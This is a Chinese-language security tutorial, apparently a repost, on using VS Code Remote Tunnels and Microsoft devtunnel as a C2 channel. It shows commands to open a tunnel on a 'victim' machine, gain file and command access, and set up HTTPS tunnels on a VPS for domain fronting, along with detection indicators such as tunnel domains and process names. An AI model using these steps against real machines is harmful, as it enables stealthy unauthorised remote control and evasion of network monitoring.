原文首发在:先知社区
https://xz.aliyun.com/t/15616
0x01 当作C2
VStudio Code Remote - Tunnel 扩展允许您通过安全隧道连接到远程计算机,例如台式电脑或虚拟机 (VM)。您可以从任何地方的 VS Code 客户端连接到该计算机,无需 SSH。
说白话:
通过 VS Code 远程控制目标机器
查看帮助:
code -h
(这两个参数都是与开启隧道有关的参数)
优点
○ 大厂证书,回连域名和 IP 为微软 VS Code,正常开发人员也会使用,可以说是白域名和白 IP
○ HTTPS 加密,执行的命令和回显的数据均为 TLS 加密
○ 操作简便
缺点
○ 受害机器需要能访问 VScode 官网
远程控制
1.受害机器开启 Tunnel
默认受害者安装了 VS Code 的情况
code tunnel
记住授权码:9222-1A1F
注意
:此操作要挂梯子,因为连接的是 VS 的官网
2.GitHub 授权
访问 URL:https://github.com/login/device 登录 GitHub 账户进行授权
接下来点击同意授权即可
此时控制台也出现了连接成功的信息
3.访问后门地址进行控制
上面连接成功会出现控制的URL:https://vscode.dev/tunnel/desktop-21fnjqm
左下角出现机器名则表示连接成功!
4.文件浏览和命令执行
可以正常读取文件
写入文件试试
执行命令也没任何问题
目标未安装 VSCode
解决方案:下载单文件版本
同样可以正常使用
检测和防御
特征1.控制台有 log 日志
特征2.外联域名
*.tunnels.api.visualstudio.com
*.devtunnels.ms
特征3.其他特征
固定的进程名:code.exe
参数名:tulnnel
创建进程的行为默认为:cmd.exe 和 powershell.exe
等等
0x02 用作 C2 域前置
1.VPS 下载 devtunnel
wget https://aka.ms/TunnelsCliDownload/linux-x64;mv linux-x64 devtunnel;chmod +x devtunnel
2.开启隧道并认证
./devtunnel user login -g -d
3.创建隧道
./devtunnel create -a
./devtunnel port create -p 8443 --protocol https
./devtunnel host